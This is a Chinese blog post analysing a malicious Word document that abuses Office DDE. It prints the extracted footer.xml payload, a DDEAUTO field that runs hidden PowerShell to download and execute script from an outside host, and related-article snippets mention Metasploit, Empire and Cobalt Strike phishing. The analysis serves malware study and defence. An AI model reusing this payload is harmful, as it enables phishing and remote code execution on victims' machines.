使用Office进行DDE攻击

Excel公式注入实战:从DDE攻击到防御策略 本文深入剖析了Excel公式注入(CSV注入)漏洞的原理与实战,从基础的DDE攻击命令执行到利用HYPERLINK函数窃取数据,再到构建反弹Shell实现远程控制。文章详细拆解了Excel的公式解析机制与DDE协议,并提供了多种绕过过滤的技巧及真实案例。最后,从开发侧的输出编码、输入验证到系统客户端的加固策略,给出了全面的立体防御方案,帮助开发者和安全人员有效应对此类客户端攻击风险。 阅读详情

当你打开恶意docx文件时,会有提示信息,不过通过解析路径的手段,把可疑部分隐藏了。

这个提示信息,看起来是启动我Word安装目录下的一个程序,普通人觉得,Word启动它自己目录下的程序,应该很正常呀!于是就点了是

在这里插入图片描述
此时用procexp查看进程列表,恶意的代码已经执行了~

在这里插入图片描述

如果用7z来打开这个docx文件,可以看到里面的footer.xml文件中包含的恶意部分

在这里插入图片描述

DDEAUTO  "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c 
pOWeRShELl.exe  -NoP -W Hidden IEX(nEw-oBjECt sYstEM.nEt.wEBcLIeNt).dOWnLoADsTRiNg('http://stinky.esy.es/ip.php'); 
#"  "Financial Security Institue RFRE System"

powershell.exe会从'http://stinky.esy.es/ip.php下载新的ps代码执行

在这里插入图片描述

代码还原后

在这里插入图片描述

【漏洞挖掘】——22、DDE漏洞攻击介绍 2017年10月SensePost发布了一篇文章并在其中解释了如何在不使用任何宏或脚本的情况下从Microsoft Word文档中执行任意代码,SensePost描述的技术是利用合法的Microsoft Office功能,该功能称为DDE(动态数据交换),DDE旨在允许Microsoft办公应用程序之间传输数据,由于此技术不会使用电子邮件网关可以检测到的恶意宏感染Word文档,因此可以实现与远程代码执行相同的结果,这种攻击非常有效且被广泛用于恶意软件活动和红队评估。 阅读详情

相关推荐

利用PowerShell Empire实现Word文档DDE攻击控制(简单没啥用)

近期,有安全人员发现了一种DynamicData Exchange (DDE)协议绕过MSWord和MSExcel宏限制,不需使用MSWord和MSExcel漏洞,就能实现在Office文档中执行恶意命令目的。在这篇文章中,我将展示如何利用基于Empire的PowerShell来对Word文档进行“伪装”攻击,可能还有其它实现方法,我仅作个抛砖引玉。 创建Empire Listener 创建一个Empire Listener监听线程,可点此查看Empire的使用说明。 当监听线程启动运行之后,运行

墨痕诉清风的博客 721

使用DDE来操作Word

使用DDE来操作Word Windows支持三种基本的IPC(进程间通信)机制:动态链接库(DLL)中的共享数据段、Windows剪贴版(Clipboard)和动态数据交换DDE(Dynamic         Data Exchange)。许多著名的Windows应用程序如Microsoft         Word等都宣布支持DDE技术,并在程序中嵌入了D

ljmwork的专栏 3079

UNITY3D万人同屏,Dots万人同屏解决方案_类萌宠宠之战

UNITY3D弹幕游戏开发,万人同屏解决方案

6462

关于word中的DDE如何查看

在word当中可以内置一些代码,而这些代码有个专业名词叫做域代码,一般情况下这个代码是被隐藏了,需要在。其中里面有会置入大量数字,其实都是ASCII码,如图所示。勾选上即可看见(我使用的是WPS)

qq_45844442的博客 620

LabVIEW与VisionMaster融合开发:从封装避坑到高效集成的实战指南

本文为LabVIEW开发者提供了一套与海康VisionMaster融合开发的实战指南。针对直接调用SDK时遇到的程序集加载失败和面向对象编程冲突等核心障碍,文章详细介绍了通过C#进行“浅封装”的解决方案,包括封装显示控件和核心功能类,并给出了在LabVIEW中高效集成、调用及资源管理的最佳实践,旨在帮助开发者稳定、高效地集成机器视觉功能。

weixin_29210727的博客 146

电力电子技术文章:ACOT控制模式在Buck变换器中的频率稳定性分析

本文深入分析了ACOT控制模式在Buck变换器中实现频率稳定性的原理与优势。通过对比传统COT模式,阐述了ACOT如何通过自适应调整导通时间,将开关频率锁定在设定值,从而有效应对输入电压与负载变化。文章还探讨了其在轻载DCM模式下的高效与平滑切换特性,并提供了关键的设计考量与实战指南。

cc789的博客 1146

word中的dde

在word中使用快捷键ctrl+f9 打开后有个大括号,在里边输入系统命令可以执行。配合powershell可以做很多事。 现象(一) 现象(二) 执行成功 解决方案(1): 在word选项中,勾选显示域代码而非域值。这样在打开的文档中可以直接看到域代码。 解决方案(2):关闭自动更新链接 解决方案(3):注册表彻底禁用 来自:https://gist.github.com/wdorman...

weixin_33816300的博客 690

Power Automate实战:用SharePoint REST API批量处理列表数据(附JSON解析技巧)

本文深入探讨了如何利用Power Automate调用SharePoint REST API实现列表数据的批量自动化处理。文章详细解析了API的协同工作原理、高效的数据获取与筛选技巧,并重点分享了JSON数据解析的核心难点与实战解决方案,旨在帮助企业用户构建稳定可靠的数据处理流程,提升运营效率。

coffee的博客 765

谨防钓鱼——OFFICE DDE复现

OFFICE DDE,这是微软的 OFFICE中的一个功能,能过够执行公式,插入远程图片,也可以用来执行恶意代码,即有了OFFICE DDE漏洞,cve编号:CVE-2017-11882,刚开始漏洞被发现的时候,微软并没有认为是漏洞,认为这是OFFICE软件的正常功能。 正好今天学习metasploit,拿这个漏洞练练手 msfconsole search office-dde use exploit/windows/fileformat/office_dde_delivery set payload

tempulcc的博客 733

Yolov8-pose关键点检测:通用倒瓶颈(UIB)搜索块结合C2f二次创新 | 轻量化之王MobileNetV4

通用倒瓶颈(UIB)搜索块结合C2f二次创新

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 605

《网络存储技术》形考实训4:为小微企业搭建基于Windows Server的文件共享与权限管理服务

本文介绍了在域环境下部署DFS分布式文件系统的完整流程。项目目标是将3台存储服务器(NS1、NS2、NS3)上的多个共享文件夹通过DFS命名空间进行统一整合,使员工可通过单一访问路径访问所有资源。实施步骤包括:1)搭建AD域环境并创建用户/组;2)将存储服务器加入域并配置共享权限;3)在域控制器安装DFS命名空间角色;4)创建基于域的命名空间(\xc.cn\共享);5)将各服务器共享文件夹映射到命名空间;6)进行客户端访问验证。通过DFS实现了物理存储位置不变情况下的逻辑统一访问,提高了文件管理的便捷性和可

深耕计算机专业知识与技术。 943

DDE攻击利用介绍

2017年10月SensePost发布了一篇文章并在其中解释了如何在不使用任何宏或脚本的情况下从Microsoft Word文档中执行任意代码,SensePost描述的技术是利用合法的Microsoft Office功能,该功能称为DDE(动态数据交换),DDE旨在允许Microsoft办公应用程序之间传输数据,由于此技术不会使用电子邮件网关可以检测到的恶意宏感染Word文档,因此可以实现与远程代码执行相同的结果,这种攻击非常有效且被广泛用于恶意软件活动和红队评估。

Fly_鹏程万里 652

管好 SAP Fiori Launchpad Content:技术目录、业务目录与 KPI 工具的完整治理思路

SAP Fiori Launchpad 作为企业级统一入口,需通过技术目录(源对象)和业务目录(引用编排)分层治理。技术目录由 Launchpad App Manager 维护,负责应用描述对象(Tile 和 Target Mapping)的创建与管理;业务目录由 Launchpad Content Manager 编排,通过引用技术目录对象实现灵活配置。分析型内容则通过 F2814 统一管理。这种分层设计支持应用复用,便于升级维护,是 SAP S/4HANA 项目中实现高效内容治理的关键。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 113

php 调用 excel 宏_原创干货 | excel钓鱼简介

点击关注了解更多精彩内容!!excel钓鱼简介关于excel钓鱼是由来已久的一种攻击方式,目前本人已知的方法有:office宏攻击DDE攻击power query DDE(DDE的一种)office宏攻击宏攻击,一种古老的攻击手法,依靠在office中插入恶意的vbs代码,来执行恶意shellcode。在cs中就有现成的宏攻击。然后按照步骤加入宏,用户在启用宏的情况下即可顺利上线。DDE...

weixin_39663729的博客 762

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

鱼叉钓鱼:利用 Office 文档进行 DDE 攻击

鱼叉钓鱼:利用 Office 文档进行 DDE 攻击 DDE DDE 是一个自定义字段,用户可插入文档。这些字段允许用户输入简单的说明,包括插入到新文档中的数据及插入位置。攻击者可以创建包含DDE字段的恶意Word文件(而不需要打开另一个Office应用程序)、打开命令提示符和运行恶意代码。 通常情况下,Office应用程序会显示两项告警内容。第一个是关于包含指向其他文件的链接的文档告警,第二个是关于打开远程命令提示符的错误告警。 在MSWord和MSExcel里,我们可以使用DDE来执行命令。 DDE 攻

weixin_45575473的博客 820

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Office DDE 攻击

Authors: Etienne Stalmans, Saif El-Sherei What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?! Windows provides several methods ...

307

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

DDE通信研究

作为一个安全研究人员来讲,听到最多关于DDE的东西可能就是office DDE 攻击这种钓鱼攻击手法。 为什么只有Office可以进行DDE攻击? 有哪些软件默认支持DDE协议? DDE还可以做什么? DDE通信还有其他功能命令,如:动态修改Excel表格内容。 本文只针对双击桌面上的xls文件时,Explorer通过DDE将文件路径传给Excel的过程进行研究。 1)研究背景 大部分Offi...

Sven的忘却日记 3582

java程序拦截dde漏洞问题_Office DDE漏洞学习笔记

1、前言2017年下半年爆发出来的Office漏洞,一直没有空做笔记记录。在病毒分析中也看到有利用这个漏洞的样本,针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点。2、office DDEMicrosoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 w...

weixin_42515512的博客 838

为什么DDE是被忽视的无宏执行入口?一文读懂Office-DDE-Payloads核心原理

在办公自动化场景中,一份普通的 Word 或 Excel 文档可能携带"无宏命令执行"能力——这就是 DDE(动态数据交换)技术的隐蔽之处。开源项目 Office-DDE-Payloads 提供了一套 Python 脚本与 Office 文档模板,帮助你快速理解并复现这种无需宏的 DDE 命令执行技术,非常适合用于授权的攻防演练与安全意识研究。 ## 一、什么是 DDE?为什么它常被忽视 DD

gitblog_00805的博客 701

Office DDE漏洞学习笔记

1、前言 2017年下半年爆发出来的Office漏洞,一直没有空做笔记记录。在病毒分析中也看到有利用这个漏洞的样本,针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点。 2、office DDE Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。 这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说...

17bdw的编程备份笔记 100

macro_pack高级技巧:DDE攻击、LNK快捷方式与HTA文件武器化

macro_pack是一款由@EmericNasi开发的强大工具,用于自动化混淆和生成Office文档、VB脚本、快捷方式等多种格式,适用于渗透测试、演示和社会工程评估。本文将深入探讨如何利用macro_pack实现DDE攻击、LNK快捷方式与HTA文件武器化的高级技巧,帮助安全研究人员和红队成员提升攻击效率与成功率。 ## 一、DDE攻击:Excel文档的隐形威胁 🚀 DDE(动态数据交换

gitblog_00030的博客 478

java程序拦截dde漏洞问题_勒索病毒又更新 Office DDE漏洞被利用

勒索软件已见怪不怪了,下半年每天都有新的勒索软件出现,中毒电脑文件被高强度加密,能恢复的极为罕见,受害用户损失惨重。勒索病毒的攻击手法也无所不用其极,本周末,金山毒霸安全实验室再次截获最新的勒索软件,该病毒利用Office DDE漏洞(Microsoft动态数据交换),极具伪装性、欺骗性,用户点错对话框会立刻导致电脑文件被加密。病毒最初来源于不法分子精心伪造的电子邮件,如果收件人粗心大意,下载点击...

weixin_33186395的博客 487

Office漏洞攻击深度解析:从内存破坏到数据窃取的攻防实战

内存破坏漏洞与逻辑漏洞是软件安全领域的两大核心威胁类型,它们分别通过破坏程序内存空间的完整性和滥用软件正常功能逻辑,实现对系统的非授权访问与控制。理解这些漏洞的原理,对于构建有效的安全防御体系具有关键的技术价值。在办公软件应用场景中,Microsoft Office因其广泛的使用和复杂的功能交互,常成为攻击者利用漏洞进行初始入侵的突破口。攻击者通过精心构造的恶意文档,利用Office在解析文件格式或处理OLE对象、DDE协议时的缺陷,触发漏洞并执行恶意代码,最终目的是窃取敏感数据。本文以Office漏洞攻击

weixin_30607659的博客 422

Cobalt Strike钓鱼攻击载荷实战:Office宏与HTA木马五种上线方式深度解析

在网络安全攻防领域,钓鱼攻击载荷是突破边界的关键技术手段。其核心原理在于利用社会工程学诱骗目标执行恶意代码,从而建立命令与控制通道。从技术价值看,深入理解载荷的生成、投递与执行机制,不仅能有效识别攻击行为,更是构建主动防御体系的基础。常见的应用场景包括红蓝对抗演练、安全策略有效性验证及高级威胁分析。本文聚焦于Cobalt Strike这一经典渗透测试平台,结合Office宏病毒和HTA木马两种典型载荷,详细剖析了五种实战上线方式,涵盖了从Stager生成、代码混淆到无文件落地的完整攻击链,并深入探讨了针对A

weixin_30882895的博客 394
上一篇: 使用Bochs模拟器和IDA调试MBR
下一篇: 基于PowerShll的免杀思路,过国外主流杀毒
FFE4
博客等级 码龄9年 234粉丝 166原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值